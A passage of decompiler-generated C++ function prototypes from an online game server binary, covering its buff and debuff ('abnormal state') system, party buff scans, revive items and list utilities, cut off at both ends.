AbnormalStateContainer::AbnormalStatePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStatePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this); char *__thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_IndexString(AbnormalStateContainer::AbnormalStateElementRecover *this); char *__thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_IndexString(AbnormalStateContainer::AbnormalStateReinforcedMove *this); char *__thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_IndexString(AbnormalStateContainer::AbnormalStateRestCount *this); char *__thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateEachTickRoutine *this); char *__thiscall AbnormalStateContainer::AbnormalStateHide::ase_IndexString(AbnormalStateContainer::AbnormalStateHide *this); char *__thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_IndexString(AbnormalStateContainer::AbnormalStatePolymorph *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActor *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateMaxHP *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateFear *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateCaptivate *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPoison *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorDisease *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorShield *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorManaShield *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this); char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilence *this); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_This(AbnormalStateContainer::AbnormalStateElement *this); void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateList::operator__(AbnormalStateContainer::AbnormalStateList *this, int num); void __thiscall AxialListNearScanParty::AxialListNearScanParty(AxialListNearScanParty *this, unsigned __int16 partyregnum); void __thiscall AxialListNearScanParty::_AxialListNearScanParty(AxialListNearScanParty *this); char __thiscall AxialListNearScanParty::alns_ValidObject(AxialListNearScanParty *this, #331 *obj); void __thiscall AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this); void __thiscall AxialListNearScanCoupleParty::AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this, unsigned __int16 partyregnum, unsigned int PartnerRegnum); char __thiscall AxialListNearScanCoupleParty::alns_ValidObject(AxialListNearScanCoupleParty *this, #331 *obj); void __thiscall AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy(AxialListNearScanGuildAcademy *this); char __thiscall AxialListNearScanGuildAcademy::alns_ValidObject(AxialListNearScanGuildAcademy *this, #331 *obj); void __thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_AfterEnchant(AbnormalStateContainer::SubAbnormalStateMaxHP *this, #331 *body); int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitSet(void *this, signed int abstate); int __thiscall CharClass::AC(ItemAttributeClass *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime); int __thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_MaxRestCount(AbnormalStateContainer::AbnormalStateRestCount *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int strength); void __thiscall AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick(AbnormalStateContainer::AbstateElementInObject::ASE_Tick *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this, AbnormalStateInfo::ABSTATEINDEX key); void __thiscall AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall ShineObjectClass::ShineMobileObject::so_BashStop(void *this); int __thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_GetDamage(AbnormalStateContainer::SubAbnormalStateActorPoison *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body); void __thiscall AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll(AxialListNearScanEnemyorAll *this); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_SetAbstateToArea(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pCaster, AxialListNearScan *pTargets, SubAbStateInfo::SubAbstateAction saa); int __thiscall ShineObjectClass::ShineObject::so_mh_PortalOpen(ItemAttributeClass *this, ItemTotalInformation *itm); char __thiscall ShineObjectClass::ShineMobileObject::smo_CheckBlockDuringMoving(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this, AbnormalStateContainer::AbstateElementInObject *aso); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AttachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_DetachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj); void __thiscall AxialListNearScanFriend::AxialListNearScanFriend(AxialListNearScanFriend *this, #331 *center); void __thiscall AxialListNearScanFriend::_AxialListNearScanFriend(AxialListNearScanFriend *this); char __thiscall AxialListNearScanFriend::alns_ValidObject(AxialListNearScanFriend *this, #331 *obj); void __thiscall List::_List(List *this); ORTable *__thiscall List::l_AllocZ(List *this, unsigned __int16 hnd); char __thiscall List::l_PopZ(List *this, CardDeck::Card *ele); char __thiscall List::l_PushZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, AbnormalStateContainer::AbstateElementInObject *ele); char __thiscall List::l_PopZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele); void __thiscall ListTraveler::lt_Home(ListTraveler *this); char __thiscall ListTraveler::lt_Next(ListTraveler *this); AbnormalStateContainer::AbstateElementInObject *__thiscall ListTraveler::operator_(ListTraveler *this); #331 *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindCasterObject(AbnormalStateContainer::AbstateElementInObject *this, SHINE_XY_TYPE *center); void __thiscall FunctionEntarance::FunctionEntarance(FunctionEntarance *this, unsigned __int16 funcode, char *funcname, unsigned int flag); void __thiscall FunctionEntarance::_FunctionEntarance(FunctionEntarance *this); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int a2); void __thiscall AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this); char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(AbnormalStateContainer::AbnormalStatePartyEnchant *this, int sub, char *substate); char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, char *substate); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant(AbnormalStateContainer::AbnormalStateElement *this, #331 *me); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime(#331 *, int, AbnormalStateInfo::ABSTATEINDEX); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SPHealOverTime(#331 *, int); void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(void *this, int abstate, int keeptime, int strength); void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(void *this, int abstate); void __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Inform(void *this, int abstate, int keeptime, char effect); void __thiscall AbnormalStateContainer::ActorCluster::ActorCluster(AbnormalStateContainer::ActorCluster *this); void __thiscall AbnormalStateContainer::ActorCluster::_ActorCluster(AbnormalStateContainer::ActorCluster *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_CompName(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 hnd, AbnormalStateContainer::AbstateElementInObject *key); void __thiscall AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(void *ptr); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindSubState(AbnormalStateContainer::AbstateElementInObject *this, int sub, char *substate); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(AbnormalStateContainer::AbstateElementInObject *this); char __thiscall ListIter_ObjectAbStateRoutine::lid_Call(ListIter_ObjectAbStateRoutine *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_Routine(void *this, int a2); char __thiscall AbnormalStateContainer::AbnormalStateElement::ase_Routine(AbnormalStateContainer::AbnormalStateElement *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateTickRoutine *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateEachTickRoutine *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_Routine(AbnormalStateContainer::AbnormalStatePolymorph *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_Routine(AbnormalStateContainer::SubAbnormalStateFear *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorPoison *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorDisease *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); int __thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this, AbnormalStateContainer::AbstateElementInObject *aso); void __thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorShield *this, #331 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorManaShield *this, #331 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage); void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage); void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this, #331 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this, #440 *, AbnormalStateContainer::AbstateElementInObject *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this, #440 *, AbnormalStateContainer::AbstateElementInObject *); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(AbnormalStateContainer::AbstateElementInObject *this, Parameter::Container *param); void __thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_AttachObject(AbnormalStateContainer::AbnormalStateReinforcedMove *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_DetachObject(AbnormalStateContainer::AbnormalStateElementRecover *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_DetachObject(AbnormalStateContainer::AbnormalStateReinforcedMove *this, AbnormalStateContainer::AbstateElementInObject *aso, #331 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStatePartyEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); void __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsMine(AbnormalStateContainer::AbstateElementInObject *this, #748 *, AbnormalStateInfo::ABSTATEINDEX); unsigned int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(AbnormalStateContainer::AbstateElementInObject *this); char __stdcall ShineObjectClass::ShinePlayer::sp_AbstateCheck(int sklidx, int a2); char __stdcall ShineObjectClass::ShineObject::so_smo_CanEnchant(int abstateidx, int strength); char __thiscall List::l_PushA(List *this, CardDeck::Card *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, AbnormalStateContainer::AbstateElementInObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(AbnormalStateContainer::AbstateElementInObject *this, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *), unsigned __int16 *hnd, AbnormalStateContainer::AbstateElementInObject *key); void __thiscall ListTraveler::ListTraveler(ListTraveler *this, List *lst, AbnormalStateContainer::AbstateElementInObject *def); #748 *__cdecl ShineDynamicCast(#331 *pObj); #440 *__cdecl ShineDynamicCast(#331 *pObj); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_InformAfterLogin(AbnormalStateContainer::AbstateElementInObject *this, #440 *me); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsPartyChant(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateContainer::AbstateElementInObject *__thiscall AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(void *ecx0, AbnormalStateInfo::ABSTATEINDEX stateindex); char __thiscall AbnormalStateContainer::AbnormalStateHide::ase_Routine(AbnormalStateContainer::AbnormalStateHide *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DamageOverTime(#331 *, int, AbnormalStateInfo::ABSTATEINDEX, bool, int *); void __thiscall ShineObjectClass::ShineMobileObject::smo_CureCurse(void *this, int state, signed int grade); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Set(AbnormalStateContainer::AbstateElementInObject *this, #331 *, unsigned __int16, int, unsigned int, AbnormalStateDictionary::AbState::AbStateStr *, #331 *, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(#331 *, AbnormalStateInfo::ABSTATEINDEX); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(void *this); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(void *this); void __thiscall AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(void *this, #440 *me); void __thiscall AbnormalStateContainer::AbstateListInObject::asl_Store(#748 *, PROTO_NC_CHAR_ABSTATE_CMD *); char __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this, AbnormalStateContainer::AbstateElementInObject *aso, #748 *body, AbnormalStateInfo::ABSTATEINDEX abs); void __thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this, #331 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarget); void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarget); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_CanEnchant(void *this, int abstateidx, int strength); void __thiscall AbnormalStateContainer::SubAbnormalStateActorDetachProcess::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActorDetachProcess *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarget); void __thiscall List::l_Clear(List *this); void *__thiscall AbnormalStateContainer::AbstateListInObject::AbstateListInObject(void *ptr); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_AbstateSet(#331 *, unsigned __int16, int, AbnormalStateDictionary::AbState::AbStateStr *, #331 *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); void __thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateCaptivate *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarger); void __thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateCaptivate *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #331 *pTarger); char __thiscall ShineObjectClass::ShineMobileObject::so_smo_CanEnchant(void *this, int abstateidx, int strength); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AxialListNearScanParty::alnsp_Buffing(AxialListNearScanParty *this, int num, #331 *caster, AbnormalStateInfo::ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); void __thiscall AxialListNearScanCoupleParty::alnsp_Buffing(AxialListNearScanCoupleParty *this, int num, #331 *caster, AbnormalStateInfo::ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); void __thiscall AxialListNearScanGuildAcademy::alnsga_Buffing(AxialListNearScanGuildAcademy *this, int num, #331 *caster, AbnormalStateInfo::ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); char __thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_Routine(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_Routine(AbnormalStateContainer::AbnormalStatePartyEnchant *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_Routine(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, #748 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); void __thiscall AbnormalStateContainer::AbnormalStateList::AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this); int __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbStateInfo::SubAbstateAction action); bool __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbStateInfo::SubAbstateAction action); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set(#331 *this, #331 *, AbnormalStateInfo::ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_Set(#331 *, AbnormalStateInfo::ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Set(#331 *, AbnormalStateInfo::ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_Simple(#331 *this, #331 *, AbnormalStateInfo::ABSTATEINDEX, int, bool); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_Simple(#331 *this, #331 *, AbnormalStateInfo::ABSTATEINDEX, int, bool, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Set_CharAllMode(#331 *, AbnormalStateInfo::ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); bool __thiscall ShineObjectClass::ShineMob::so_AbnormalState_Resist(int this, int sklidx); bool __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Resist(void *this, int sklidx); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall AbnormalStateDictionary::SubAbState::SubAbState(AbnormalStateDictionary::SubAbState *this); void __thiscall AbnormalStateDictionary::SubAbState::sas_Load(AbnormalStateDictionary::SubAbState *this); SubAbStateInfo *__thiscall AbnormalStateDictionary::SubAbState::sas_Find(AbnormalStateDictionary::SubAbState *this, char *index, int str); void __thiscall AbnormalStateDictionary::AbState::AbState(AbnormalStateDictionary::AbState *this); void __thiscall AbnormalStateDictionary::AbState::_AbState(AbnormalStateDictionary::AbState *this); void __thiscall AbnormalStateDictionary::AbState::as_Load(AbnormalStateDictionary::AbState *this); char __thiscall ShineObjectClass::ShineMobileObject::so_FillBriefABState(void *this, int data, int num); void __thiscall UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this); void __thiscall UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Recover(AbnormalStateContainer::AbstateElementInObject *this, #331 *so); void __thiscall ShineObjectClass::ShinePlayer::so_ReviveByItem(void *this); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_AfterLoginComplete(ChargedItemEffectList::ChargedItemEffectElement *this, unsigned __int16 handle, #440 *player); void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete(void *this); AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest); char __thiscall ChargedItemEffectList::ChargedEffectAfterLoginComplete::lid_Call(ChargedItemEffectList::ChargedEffectAfterLoginComplete *this, ChargedItemEffectList::ChargedItemEffectElement *ele, unsigned __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::sp_CanChargedEnchant(void *this, int index); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE(void *this, int abstateid); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff(void *this); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count); void __thiscall std::basic_string_std::allocator>::_Tidy(std::basic_string,std::allocator > *this, bool _Built, unsigned int _Newsize); void __thiscall std::basic_string_std::allocator>::_Copy(std::basic_string,std::allocator > *this, unsigned int _Newsize, unsigned int _Oldlen); // void __usercall _L147102(int a1); AbnormalStateContainer::AbstateElementInObject *__cdecl std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall AbnormalStateShelter::AbstateShelter::as_Remove(AbnormalStateShelter::AbstateShelter *this, unsigned int chrregnum); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall AbnormalStateShelter::AbstateBuffer::ab_Recover(AbnormalStateShelter::AbstateBuffer *this, #331 *so); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Num); AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ucopy(std::allocator *_Al, 